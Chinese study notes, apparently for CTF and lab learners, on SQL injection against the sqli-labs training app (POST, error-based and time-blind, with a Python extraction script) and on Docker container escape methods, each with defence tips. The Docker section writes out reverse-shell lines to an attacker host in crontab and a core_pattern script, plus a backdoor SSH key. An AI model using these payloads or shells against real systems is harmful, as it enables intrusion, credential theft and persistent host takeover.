> POST注入原理，差异以及手法，和判断什么时候应该使用什么注入手法



---


## 一、源码关键差异（GET vs POST）

```php
// Less-1（GET）
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// Less-11（POST）
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
```

| 差异 | Less-1 | Less-11 |
|:---|:---|:---|
| **数据来源** | `$_GET['id']` | `$_POST['uname']`、`$_POST['passwd']` |
| **SQL 结构** | `WHERE id='$id'` | `WHERE username='$uname' and password='$passwd'` |
| **注入点** | URL 参数 | 表单字段 |
| **闭合方式** | 单引号 `'` | 单引号 `'`（Less-11）/ 双引号 `"`（Less-12）|

---

## 二、源码逐行分析（Less-11）

```php
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
```
**第1-3行**：引入数据库连接，关闭 PHP 错误报告。

```php
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];
```
**第5-8行**：从 POST 请求体获取 `uname` 和 `passwd`，**没有任何过滤**。

```php
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
```
**第14行**：**核心漏洞！** 两个变量都被单引号包裹，直接拼进 SQL。

**注意 SQL 结构**：
```sql
WHERE username='$uname' and password='$passwd'
```

这里有 **两个条件用 `and` 连接**，注入时需要让整体条件为真。

```php
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);

	if($row)
	{
 		echo 'Your Login name:'. $row['username'];
 		echo 'Your Password:' .$row['password'];
 	}
	else 
	{
		print_r(mysql_error()); // ← 有报错信息！
	}
```
**第16-31行**：查到数据显示用户名密码，查不到显示 **MySQL 报错信息** → 可以用 **报错注入**。

---

## 三、POST 注入的核心技巧

### 3.1 万能密码原理

正常登录：
```sql
SELECT * FROM users WHERE username='admin' and password='123456'
```

注入后：
```sql
SELECT * FROM users WHERE username='admin' or 1=1 #' and password='anything'
-- ↑ 条件永远为真
-- # 注释掉后面
```

### 3.2 单引号 vs 双引号闭合

| 关卡 | 源码特征 | 闭合方式 |
|:---|:---|:---|
| **Less-11** | `username='$uname'` | 单引号 `'` |
| **Less-12** | `username="$uname"` | 双引号 `"` |

**判断方法**：
- 输入 `admin'` → 报错 → 单引号字符型
- 输入 `admin"` → 报错 → 双引号字符型

---

## 四、POST 注入 Payload

### 4.1 万能密码（登录绕过）

**Less-11（单引号）**：
```http
uname=admin' or 1=1 #&passwd=anything&submit=Submit
```

![图片.png](/static/img/60d5960a2511a8b6f84d7ff20f427954.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
**Less-12（双引号）**：
```http
uname=admin" or 1=1 #&passwd=anything&submit=Submit
```

### 4.2 报错注入爆数据

```http
# 爆库名
uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=anything

# 爆表名
uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #&passwd=anything

# 爆数据
uname=admin' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) #&passwd=anything
```

---

## 五、GET vs POST 注入对比

| 对比项 | GET 注入（Less-1） | POST 注入（Less-11） |
|:---|:---|:---|
| **数据位置** | URL 地址栏 | HTTP 请求体 |
| **查看方式** | 浏览器地址栏直接看到 | 需要抓包工具（Burp） |
| **特殊字符处理** | `#` 被截断，用 `--+` 或 `%23` | `#` 正常发送，直接用 `#` |
| **注释符推荐** | `--+` | `#` |
| **测试工具** | 浏览器直接改 URL | Burp Suite、HackBar |
| **源码获取** | `$_GET['id']` | `$_POST['uname']` |

---

## 六、Burp Suite 操作 POST 注入

### 步骤1：抓包

浏览器输入用户名密码 → 点击 Submit → Burp 拦截请求。

### 步骤2：发送到 Repeater

右键 → **Send to Repeater**

### 步骤3：修改 POST 数据

```http
POST /sqli-labs-master/Less-11/ HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

uname=admin' or 1=1 #&passwd=anything&submit=Submit
```

### 步骤4：点击 Send

看 Response 是否显示登录成功和 flag 图片。

---

## 七、记忆口诀

> **POST 注入表单填，Burp 抓包看请求体**
> **单引号双引号要判断，万能密码 or 1=1**
> **# 注释最方便，不用考虑空格问题**
> **报错注入 updatexml，数据藏在错误里**

---


# SQL 注入手法选择总结

## 一、四种手法核心特征

| 手法 | 核心依赖 | 速度 | 适用场景 |
|:---|:---|:---|:---|
| **联合查询** | 页面有**回显位**（显示查询结果）| 快 | 能直接看到数据 |
| **报错注入** | 页面有**报错信息**（`mysql_error()`）| 快 | 无回显但有报错 |
| **布尔盲注** | 页面有**真假两种状态** | 慢 | 无回显无报错，但真假不同 |
| **时间盲注** | 页面**永远一样**，只能看**响应时间** | 极慢 | 无回显无报错，真假也相同 |

---

## 二、结合源码的完整对照

### 2.1 联合查询（Less-1/2/3/4）

**源码特征**：
```php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

echo 'Your Login name:'. $row['username']; // ← 回显位！
echo 'Your Password:' .$row['password']; // ← 回显位！
```

**只能用联合查询的原因**：
- `echo $row['username']` 直接把查询结果显示出来
- 有回显位 → `union select` 可以直接拼接数据到页面

**Payload**：
```sql
?id=-1' union select 1,database(),version() --+
```

---

### 2.2 报错注入（Less-5/6/11/17/18）

#### Less-5（GET 报错注入）

**源码特征**：
```php
if($row) {
 echo 'You are in...........'; // ← 只显示固定文字，不显示具体数据
} else {
 print_r(mysql_error()); // ← 有报错信息！
}
```

**只能用报错注入的原因**：
- 查到数据时**不显示具体内容** → 联合查询没用
- 查不到时**显示 `mysql_error()`** → 可以用报错函数把数据藏在错误里

**Payload**：
```sql
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
```

---

#### Less-11（POST 报错注入）

**源码特征**：
```php
$uname=$_POST['uname']; // ← 无过滤
$passwd=$_POST['passwd']; // ← 无过滤

if($row) {
 echo 'Your Login name:'. $row['username'];
 echo 'Your Password:' .$row['password'];
} else {
 print_r(mysql_error()); // ← 有报错！
}
```

**可以用多种手法**：
- 有回显位 → 联合查询
- 有报错 → 报错注入
- 无过滤 → 万能密码

---

#### Less-17（UPDATE 报错注入）

**源码特征**：
```php
$uname=check_input($_POST['uname']); // ← 被过滤！
$passwd=$_POST['passwd']; // ← 没过滤！

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);

if (mysql_error()) {
 print_r(mysql_error()); // ← 有报错！
}
```

**只能用报错注入的原因**：
- `uname` 被过滤，注入点在 `passwd`
- `passwd` 拼进 **UPDATE 语句**，不是 SELECT
- UPDATE **没有结果集** → 联合查询不行
- UPDATE 的条件判断**无法带出数据** → 布尔盲注不行
- 有 `mysql_error()` → 只能用报错注入
- check_input() 做了三件事：

> substr($value,0,15) → 截断到15字符
 
> mysql_real_escape_string($value) → 转义单引号
 
> 加引号包裹 → ' + 转义后的值 + '
**Payload**：
```http
uname=admin&passwd=' and updatexml(1,concat(0x7e,database(),0x7e),1) #&submit=Submit
```

---

#### Less-18（Header 报错注入）

**源码特征**：
```php
$uname = check_input($_POST['uname']); // ← 过滤！
$passwd = check_input($_POST['passwd']); // ← 过滤！

$uagent = $_SERVER['HTTP_USER_AGENT']; // ← 无过滤！
$IP = $_SERVER['REMOTE_ADDR'];

$insert="INSERT INTO uagents VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
print_r(mysql_error()); // ← 有报错！
```

**只能用 Header 注入的原因**：
- `uname` 和 `passwd` 被 `check_input()` 过滤死了
- `HTTP_USER_AGENT` 头**完全没有过滤**
- 拼进 INSERT 语句，有 `mysql_error()` 报错

**Payload**（修改 User-Agent 头）：
```http
User-Agent: ' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
```

---

### 2.3 布尔盲注（Less-8）

**源码特征**：
```php
if($row) {
 echo 'You are in...........'; // ← 真状态
} else {
 echo ""; // ← 假状态（空白！）
}
```

**只能用布尔盲注的原因**：
- 无回显位（不显示具体数据）
- **无报错信息**（`mysql_error()` 被注释掉了）
- 但**真假页面不同**（有文字 vs 空白）
- 通过页面状态变化判断条件真假

**Payload**：
```sql
?id=1' and ascii(substr(database(),1,1))=115 --+
```

---

### 2.4 时间盲注（Less-9）

**源码特征**：
```php
if($row) {
 echo 'You are in...........';
} else {
 echo 'You are in...........'; // ← 和 if 分支完全一样！
}
```

**只能用时间盲注的原因**：
- 无回显位
- 无报错信息
- **真假页面完全相同**（都是 `You are in...`）
- 唯一判断依据：**响应时间**

**Payload**：
```sql
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 1) --+
```

---

## 三、决策流程图（文字版）

```
发现注入点
 ↓
页面是否有回显位？（能否直接看到查询结果）
 ├── YES → 联合查询（Less-1/2/3/4/11）
 └── NO
 ↓
 页面是否有报错信息？（mysql_error()）
 ├── YES → 报错注入（Less-5/6/11/17/18）
 │ └── 注意：UPDATE/INSERT 只能用报错注入
 └── NO
 ↓
 真假页面是否不同？
 ├── YES → 布尔盲注（Less-8/15/16）
 └── NO → 时间盲注（Less-9/10）
```

---

## 四、源码过滤情况对照

| 关卡 | 过滤情况 | 注入点 | 可用手法 |
|:---|:---|:---|:---|
| **Less-1~4** | 无过滤 | `id` | 联合查询 |
| **Less-5~6** | 无过滤 | `id` | 报错注入 |
| **Less-8** | 无过滤 | `id` | 布尔盲注 |
| **Less-9~10** | 无过滤 | `id` | 时间盲注 |
| **Less-11~12** | 无过滤 | `uname/passwd` | 万能密码 / 联合查询 / 报错注入 |
| **Less-13~14** | 无过滤 | `uname/passwd` | `floor()` 报错注入 |
| **Less-15~16** | 无过滤 | `uname/passwd` | 布尔盲注 |
| **Less-17** | `uname` 过滤，`passwd` 无过滤 | `passwd` | **只能报错注入**（UPDATE 语句）|
| **Less-18** | `uname/passwd` 过滤 | `User-Agent` | **只能 Header 报错注入** |
| **Less-19** | `uname/passwd` 过滤 | `Referer` | **只能 Header 报错注入** |
| **Less-20~22** | `uname/passwd` 过滤 | `Cookie` | **只能 Cookie 注入** |

---

## 五、记忆口诀

> **有回显 → union select 直接看**
> **有报错 → updatexml 把数据藏错误里**
> **真假不同 → 布尔盲注看页面**
> **全一样 → 时间盲注看延迟**
> **被过滤 → 找没过滤的点（Header/Cookie）**

---

POST注入

> 时间盲注原理，时间盲注常用函数，py脚本撰写，sql注入手法决策树



---
# sql注入手法决策树

![图片.png](/static/img/3cdb5a9fbd2cd5c7424a5a595900baec.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
## 一、源码逐行分析

```php
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
```
**第1-3行**：引入数据库连接，关闭 PHP 错误报告。

```php
if(isset($_GET['id']))
{
$id=$_GET['id'];
```
**第5-7行**：从 URL 获取 `id` 参数，**没有任何过滤**。

```php
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
```
**第9-11行**：日志记录，和注入无关。

```php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
```
**第14行**：**核心漏洞！** `$id` 被单引号包裹，直接拼进 SQL，字符型注入。

```php
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
```
**第15-16行**：执行查询，获取结果。

```php
	if($row)
	{
 	echo '';	
 	echo 'You are in...........';
 	echo " ";
 	echo "";
 	}
```
**第18-23行**：查到数据 → 显示 `You are in...........`

```php
	else 
	{
	
	echo '';
	echo 'You are in...........'; // ← 注意这里！
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "";	
	echo '';	
	
	}
```
**第25-34行**：**关键！查不到数据时，也显示 `You are in...........`！**

对比 Less-8：
- Less-8：`else` 分支里**什么都不显示**
- Less-9：`else` 分支里**同样显示 `You are in...........`**

**这意味着：无论查询成功还是失败，页面显示完全一样！**

---

## 二、为什么布尔盲注不行了？

### 三种关卡对比

| 关卡 | 查到数据 | 查不到数据 | 能否用布尔盲注 | 能否用报错注入 | 只能用 |
|:---|:---|:---|:---|:---|:---|
| **Less-1** | 显示用户名密码 | 报错 | ❌（有回显位，用联合查询） | ❌ | 联合查询 |
| **Less-5** | `You are in...` | **报错信息** | ❌ | ✅ | 报错注入 |
| **Less-8** | `You are in...` | **空白** | ✅ | ❌ | 布尔盲注 |
| **Less-9** | `You are in...` | **`You are in...`** | ❌ | ❌ | **时间盲注** |

> **Less-9 的页面永远显示一样的东西，布尔盲注判断不了真假，报错注入没有报错信息。唯一的判断依据只剩下：页面响应时间。**

---

## 三、时间盲注核心原理

### 3.1 核心思想

> **让 SQL 语句执行时间变长，通过测量页面响应时间来判断条件真假。**

### 3.2 两个关键函数

| 函数 | 语法 | 作用 |
|:---|:---|:---|
| `if(condition, true_value, false_value)` | `if(1=1, sleep(5), 1)` | 条件为真执行 A，为假执行 B |
| `sleep(n)` | `sleep(5)` | 暂停 n 秒 |

### 3.3 if + sleep 的工作原理

```sql
?id=1' and if(1=1, sleep(5), 1) --+
```

**拆解**：
| 部分 | 含义 |
|:---|:---|
| `1=1` | 条件，永远为真 |
| `sleep(5)` | 条件为真时执行，暂停 5 秒 |
| `1` | 条件为假时执行，什么都不做 |
| `and` | 前面的 `id='1'` 为真，继续执行后面的 `if` |

**执行结果**：
- `id='1'` 查到数据 → `and` 右边也要执行 → `if(1=1, sleep(5), 1)` → 执行 `sleep(5)` → **页面延迟 5 秒**

```sql
?id=1' and if(1=2, sleep(5), 1) --+
```

- `if(1=2, ...)` → 条件为假 → 执行 `1` → **页面不延迟**

---

## 四、时间盲注完整流程（Less-9）

### Step 1：确认注入点

```sql
?id=1' and if(1=1, sleep(5), 1) --+
```

![图片.png](/static/img/61968f0f8498eae7acf9741a3895cb82.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
→ 页面延迟 5 秒 ✅

```sql
?id=1' and if(1=2, sleep(5), 1) --+
```
→ 页面不延迟 ✅

**结论**：存在时间盲注，单引号字符型。

---

### Step 2：猜数据库名长度

```sql
?id=1' and if(length(database())=8, sleep(5), 1) --+
```
→ 延迟 5 秒 → 长度 = 8 ✅

---

### Step 3：逐位猜数据库名

```sql
-- 猜第1位
?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 1) --+
```
→ 延迟 5 秒 → 第1位 = `s`（ASCII 115）

```sql
-- 猜第2位
?id=1' and if(ascii(substr(database(),2,1))=101, sleep(5), 1) --+
```
→ 延迟 5 秒 → 第2位 = `e`（ASCII 101）

...以此类推，8 位全部猜完 → `security`

---

### Step 4：爆表名、字段、数据（逻辑一样）

```sql
-- 猜表名总长度
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29, sleep(5), 1) --+

-- 逐位猜表名
?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101, sleep(5), 1) --+

-- 猜字段
?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1))=105, sleep(5), 1) --+

-- 猜数据
?id=1' and if(ascii(substr((select group_concat(username,':',password) from users),1,1))=68, sleep(5), 1) --+
```

---

## 五、布尔盲注 vs 时间盲注

| 对比项 | 布尔盲注（Less-8） | 时间盲注（Less-9） |
|:---|:---|:---|
| **页面特征** | 真/假两种不同页面 | 页面永远一样 |
| **判断依据** | 页面内容（有无 `You are in`） | 响应时间（有无延迟）|
| **核心函数** | `length()`、`substr()`、`ascii()` | 同上 + `if()`、`sleep()` |
| **速度** | 较快 | **极慢**（每次判断要等 sleep）|
| **稳定性** | 高 | 低（网络波动影响大）|
| **Payload 区别** | `and ascii(...)=115` | `and if(ascii(...)=115, sleep(5), 1)` |

---

## 六、为什么有的场景两种都能用？

### 关键看页面能提供什么信息

| 页面特征 | 可用手法 |
|:---|:---|
| 有回显位（显示具体数据）| 联合查询 |
| 无回显，但有报错信息 | 报错注入 |
| 无回显，无报错，但真假页面不同 | **布尔盲注** |
| 无回显，无报错，真假页面相同 | **时间盲注** |

### Less-8 和 Less-9 的本质区别

```php
// Less-8 的 else 分支
else {
 echo ""; // ← 什么都不显示！
}

// Less-9 的 else 分支 
else {
 echo 'You are in...........'; // ← 和 if 分支显示一样！
```

**Less-8 能用布尔盲注**，因为真假页面不同（有/无 `You are in`）。

**Less-9 只能用时间盲注**，因为真假页面完全相同，只能看时间。

---

## 七、时间盲注的替代函数

除了 `sleep()`，还有：

| 函数 | 作用 | 示例 |
|:---|:---|:---|
| `sleep(n)` | 暂停 n 秒 | `sleep(5)` |
| `benchmark(count, expr)` | 重复执行 expr count 次 | `benchmark(5000000, md5('a'))` |
| `heavy_query` | 复杂查询拖时间 | `select count(*) from information_schema.columns A, information_schema.columns B` |

`benchmark()` 在某些 `sleep()` 被过滤的场景下使用。

---

## 八、时间盲注 Python 脚本

```python
import requests
import time

url = "http://localhost/sqli-labs-master/Less-9/"

def time_check(payload, delay=3):
 """发送请求，判断响应时间是否超过 delay 秒"""
 start = time.time()
 requests.get(url + payload)
 elapsed = time.time() - start
 return elapsed > delay

# ========== 猜长度 ==========
def get_length(query):
 for i in range(1, 50):
 payload = f"?id=1' and if(length(({query}))={i}, sleep(3), 1) --+"
 if time_check(payload, 3):
 print(f"长度: {i}")
 return i
 return 0

# ========== 逐位猜字符串 ==========
def get_string(query, length):
 result = ""
 for pos in range(1, length + 1):
 low, high = 32, 127
 while low < high:
 mid = (low + high) // 2
 payload = f"?id=1' and if(ascii(substr(({query}),{pos},1))>{mid}, sleep(3), 1) --+"
 if time_check(payload, 3):
 low = mid + 1
 else:
 high = mid
 result += chr(low)
 print(f"第{pos}位: {chr(low)}")
 return result

# 运行
if __name__ == "__main__":
 db_query = "select database()"
 db_len = get_length(db_query)
 db_name = get_string(db_query, db_len)
 print(f"[+] 数据库名: {db_name}")
```

---

## 九、记忆口诀

> **Less-8 页面有真假，布尔盲注看回显**
> **Less-9 页面永远一样，时间盲注看延迟**
> **if 条件真就 sleep，页面卡住进判断**
> **if 条件假就过，页面飞快是假面**

时间盲注

> 参考来源：先知社区、博客园、银遁安全团队、知乎等
> 适用人群：网络安全初学者、CTF选手、渗透测试人员



---

## 一、什么是Docker逃逸？

### 1.1 通俗理解

想象Docker容器是一个**玻璃房子**：
- 正常情况下，你在玻璃房子里活动，只能看到和操作房子里的东西
- **Docker逃逸**就是你打破玻璃，跑到房子外面（宿主机）去
- 逃逸成功后，你就能控制整个宿主机，包括所有其他容器

### 1.2 为什么会发生逃逸？

Docker本身设计是安全的，但以下情况可能导致逃逸：

| 原因 | 通俗解释 |
|------|---------|
| 配置不当 | 管理员把不该给容器的权限给了容器 |
| 挂载敏感目录 | 把宿主机的"钥匙"（如docker.sock）挂进了容器 |
| 特权模式 | 给了容器"万能钥匙"，什么都能干 |
| 内核漏洞 | Linux内核本身有漏洞，容器利用漏洞突破隔离 |
| API暴露 | 把Docker的管理接口暴露在公网上，谁都能访问 |

### 1.3 逃逸的危害

- 获取宿主机root权限
- 访问宿主机上所有文件（包括其他容器的文件）
- 横向移动到内网其他机器
- 植入后门，持久化控制

---

## 二、如何判断自己是否在Docker容器中？

拿到一个Shell后，先判断环境！

### 2.1 方法一：查看根目录下的.dockerenv文件

```bash
ls -al /
```

如果看到 `.dockerenv` 文件，说明你在Docker容器里。

> 原理：Docker启动容器时会自动在根目录创建这个隐藏文件。

### 2.2 方法二：查看 /proc/1/cgroup 文件

```bash
cat /proc/1/cgroup
```

- **宿主机**：显示正常的cgroup路径，如 `1:name=systemd:/`
- **Docker容器**：显示包含 `docker/` 的路径，如 `1:name=systemd:/docker/67cb98b4e1d5...`

### 2.3 方法三：查看hostname

```bash
hostname
```

Docker容器的hostname通常是**容器ID**（一长串十六进制字符），如 `67cb98b4e1d5`。

### 2.4 综合判断脚本

```bash
#!/bin/bash
# 判断是否在Docker容器中

if [ -f "/.dockerenv" ]; then
 echo "[+] 发现 .dockerenv 文件，可能在Docker容器中"
fi

if grep -q "docker" /proc/1/cgroup 2>/dev/null; then
 echo "[+] /proc/1/cgroup 包含docker标识，确认在Docker容器中"
fi

if [ $(hostname | wc -c) -eq 13 ]; then
 echo "[+] hostname长度为12位，可能是Docker容器ID"
fi
```

---

## 三、如何判断是否存在Docker逃逸的可能？

确认在容器里后，需要检查是否有逃逸条件。

### 3.1 检查是否为特权模式（Privileged）

```bash
cat /proc/self/status | grep CapEff
```

- **特权模式**：`CapEff: 0000003fffffffff` 或 `0000001fffffffff`
- **普通模式**：值会小很多

> 特权模式 = 给了容器"万能钥匙"，几乎可以干任何事。

### 3.2 检查是否挂载了docker.sock

```bash
ls -lah /var/run/docker.sock
```

如果存在这个文件，说明容器可以跟Docker守护进程直接通信。

### 3.3 检查是否挂载了宿主机的procfs

```bash
find / -name core_pattern
```

如果出现两个core_pattern文件（一个在 `/proc/sys/kernel/core_pattern`，一个在 `/host/proc/sys/kernel/core_pattern`），说明挂载了宿主机的procfs。

### 3.4 检查是否挂载了宿主机根目录

```bash
cat /proc/mounts | grep -E "workdir|overlay"
```

查看是否有挂载宿主机的目录。

### 3.5 检查Docker远程API是否暴露

```bash
curl http://宿主机IP:2375
```

如果返回JSON数据（如 `{"message":"page not found"}`），说明API端口开放。

### 3.6 使用自动化检测脚本

```bash
# 下载container-escape-check工具
git clone https://github.com/teamssix/container-escape-check
cd container-escape-check
python3 container-escape-check.py
```

---

## 四、常用的Docker逃逸方法详解

### 4.1 方法一：特权模式逃逸（Privileged Mode Escape）

#### 原理

当容器以 `--privileged=true` 启动时：
- 可以访问宿主机所有设备（如 `/dev/sda`）
- 拥有所有Linux Capabilities权限
- 可以挂载文件系统

#### 利用步骤

**Step 1：确认特权模式**
```bash
cat /proc/self/status | grep CapEff
# 看到 0000003fffffffff 就对了
```

**Step 2：查看磁盘设备**
```bash
fdisk -l
```

找到宿主机磁盘，通常是 `/dev/sda5` 或 `/dev/vda3`。

**Step 3：挂载宿主机磁盘**
```bash
mkdir /host
mount /dev/sda5 /host
```

**Step 4：chroot切换到宿主机**
```bash
chroot /host
whoami # 显示 root，说明成功！
```

**Step 5（可选）：写入定时任务反弹shell**
```bash
echo '* * * * * root bash -i >& /dev/tcp/攻击机IP/端口 0>&1' >> /host/etc/crontab
```

> 原理：在宿主机crontab里加一条任务，每分钟执行一次反弹shell。

#### 防御建议
- 不要用 `--privileged` 启动容器
- 如果必须用，限制Capabilities

---

### 4.2 方法二：挂载Docker Socket逃逸

#### 原理

`/var/run/docker.sock` 是Docker守护进程的"耳朵"，谁跟它说话，它听谁的。如果容器里能访问这个文件，就能让Docker守护进程干任何事。

#### 利用步骤

**Step 1：确认docker.sock存在**
```bash
ls -lah /var/run/docker.sock
```

**Step 2：安装docker客户端**
```bash
apt-get update && apt-get install curl -y
curl -fsSL https://get.docker.com/ | sh
```

**Step 3：创建新容器并挂载宿主机根目录**
```bash
docker run -it -v /:/host ubuntu /bin/bash
```

> 这条命令的意思是：用docker.sock的权限，启动一个新容器，把宿主机的根目录 `/` 挂到新容器的 `/host` 目录。

**Step 4：chroot逃逸**
```bash
chroot /host
whoami # root
```

#### 防御建议
- 不要将 `/var/run/docker.sock` 挂载到不可信容器
- 使用Docker Content Trust验证镜像

---

### 4.3 方法三：挂载宿主机procfs逃逸（core_pattern利用）

#### 原理

`/proc/sys/kernel/core_pattern` 是一个特殊文件，控制程序崩溃时怎么处理。如果它的内容以 `|` 开头，后面跟的是一个脚本路径，程序崩溃时会执行这个脚本。

如果容器挂载了宿主机的 `/proc`，就能修改宿主机的 `core_pattern`，让宿主机在程序崩溃时执行我们的恶意脚本。

#### 利用步骤

**Step 1：确认挂载了procfs**
```bash
find / -name core_pattern
# 如果看到两个结果，说明挂载了
```

**Step 2：查看当前core_pattern**
```bash
cat /proc/sys/kernel/core_pattern
```

**Step 3：找到容器在宿主机上的绝对路径**
```bash
cat /proc/mounts | grep docker
# 关注 upperdir 的值
```

比如得到路径：`/var/lib/docker/overlay2/xxx/diff`

**Step 4：创建反弹shell脚本**
```bash
cat <<EOF > /exp.sh
#!/bin/bash
bash -i >& /dev/tcp/攻击机IP/端口 0>&1
EOF
chmod +x /exp.sh
```

**Step 5：修改core_pattern**
```bash
echo "|/var/lib/docker/overlay2/xxx/diff/exp.sh" > /proc/sys/kernel/core_pattern
```

**Step 6：触发程序崩溃**
```bash
sleep 10 &
kill -SIGSEGV $!
```

> `SIGSEGV` 是段错误信号，会让程序崩溃，触发core dump，从而执行我们的脚本。

**Step 7：攻击机监听**
```bash
nc -lvvp 端口
```

#### 防御建议
- 不要将 `/proc` 挂载到容器中
- 启用User Namespace隔离

---

### 4.4 方法四：Docker远程API未授权访问逃逸

#### 原理

Docker默认监听Unix Socket，但如果管理员配置错误，把它监听在了 `0.0.0.0:2375`，任何人都能远程控制Docker。

#### 利用步骤

**Step 1：确认API开放**
```bash
curl http://目标IP:2375
# 返回 {"message":"page not found"} 说明存在
```

**Step 2：远程连接Docker**
```bash
docker -H tcp://目标IP:2375 images
```

**Step 3：创建容器挂载宿主机根目录**
```bash
docker -H tcp://目标IP:2375 run -it -v /:/host ubuntu:18.04 /bin/bash
```

**Step 4：chroot逃逸**
```bash
chroot /host
```

#### 防御建议
- 不要将Docker API暴露在公网
- 使用TLS加密通信
- 配置防火墙限制访问

---

### 4.5 方法五：写入SSH公钥逃逸

#### 原理

如果能挂载宿主机的根目录到容器，就能往宿主机的 `/root/.ssh/authorized_keys` 写入自己的公钥，实现免密登录。

#### 利用步骤

**Step 1：攻击机生成密钥对**
```bash
ssh-keygen -t rsa -b 4096 -C "backdoor@attacker.com" -f ~/.ssh/docker_escape
```

**Step 2：查看公钥**
```bash
cat ~/.ssh/docker_escape.pub
```

**Step 3：在容器里创建.ssh目录并写入公钥**
```bash
mkdir -p /host/root/.ssh
chmod 700 /host/root/.ssh

cat >> /host/root/.ssh/authorized_keys << 'EOF'
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAA... backdoor@attacker.com
EOF

chmod 600 /host/root/.ssh/authorized_keys
chown root:root /host/root/.ssh/authorized_keys
```

**Step 4：SSH连接宿主机**
```bash
ssh -i ~/.ssh/docker_escape root@目标IP
```

#### 防御建议
- 监控 `/root/.ssh/authorized_keys` 文件变化
- 使用SSH密钥审计工具

---

### 4.6 方法六：写入Crontab定时任务逃逸

#### 原理

如果能挂载宿主机根目录，就能修改 `/etc/crontab`，添加定时任务反弹shell。

#### 利用步骤

**Step 1：确认挂载了宿主机根目录**
```bash
ls /host
# 看到宿主机的文件系统就对了
```

**Step 2：写入定时任务**
```bash
echo '* * * * * root bash -i >& /dev/tcp/攻击机IP/端口 0>&1' >> /host/etc/crontab
```

**Step 3：攻击机监听**
```bash
nc -lvvp 端口
```

等待1分钟，就能收到shell。

---

### 4.7 方法七：SYS_PTRACE进程注入逃逸

#### 原理

如果容器启用了 `SYS_PTRACE` Capability，容器内的进程可以ptrace其他进程。利用这个可以注入到宿主机进程，执行任意代码。

#### 利用步骤

**Step 1：确认有SYS_PTRACE**
```bash
cat /proc/self/status | grep CapEff
```

**Step 2：查找宿主机进程**
```bash
ps aux
```

**Step 3：使用ptrace注入**
```bash
# 需要专门的工具，如 ptrace-inject
# 具体利用较复杂，需要编写注入代码
```

> 这个方法比较复杂，适合进阶学习。

---

## 五、相关的CVE漏洞

### 5.1 CVE-2019-5736（runc容器逃逸）

| 项目 | 内容 |
|------|------|
| 影响范围 | runc <= 1.0-rc6 |
| 漏洞原理 | 通过覆盖 `/proc/self/exe` 实现容器逃逸 |
| 利用条件 | 容器以root运行，且能执行恶意程序 |
| 修复方案 | 升级runc到1.0-rc7及以上 |

**通俗解释**：runc是Docker用来启动容器的工具。这个漏洞让容器里的程序能"替换"runc本身，下次启动容器时就执行了我们的恶意代码。

### 5.2 CVE-2020-15257（containerd-shim API暴露）

| 项目 | 内容 |
|------|------|
| 影响范围 | containerd < 1.3.9 / < 1.4.3 |
| 漏洞原理 | containerd-shim的API暴露给容器，可控制宿主机进程 |
| 利用条件 | 使用host网络模式 |
| 修复方案 | 升级containerd |

### 5.3 CVE-2022-0492（cgroups释放后使用）

| 项目 | 内容 |
|------|------|
| 影响范围 | Linux内核 < 5.17 |
| 漏洞原理 | cgroups v1的release_agent机制存在漏洞 |
| 利用条件 | 容器有CAP_SYS_ADMIN权限 |
| 修复方案 | 升级内核或限制Capabilities |

### 5.4 CVE-2024-21626（runc文件描述符泄漏）

| 项目 | 内容 |
|------|------|
| 影响范围 | runc < 1.1.12 |
| 漏洞原理 | runc泄漏了宿主机的文件描述符，容器可访问宿主机文件 |
| 利用条件 | 特定条件下的容器启动 |
| 修复方案 | 升级runc到1.1.12及以上 |

---

## 六、如何练习Docker逃逸？

### 6.1 搭建本地实验环境

**环境要求**：一台Linux虚拟机（推荐Ubuntu）

**Step 1：安装Docker**
```bash
# Ubuntu
sudo apt-get update
sudo apt-get install docker.io -y
sudo usermod -aG docker $USER
```

**Step 2：搭建各种漏洞场景**

```bash
# 场景1：特权模式容器
docker run --rm --privileged=true -it ubuntu

# 场景2：挂载docker.sock
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu

# 场景3：挂载procfs
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

# 场景4：远程API暴露
# 修改 /lib/systemd/system/docker.service
# 在ExecStart后添加 -H tcp://0.0.0.0:2375
sudo systemctl restart docker
```

### 6.2 在线靶场推荐

| 靶场名称 | 地址 | 说明 |
|---------|------|------|
| Vulhub | https://vulhub.org/ | 各种Docker漏洞环境 |
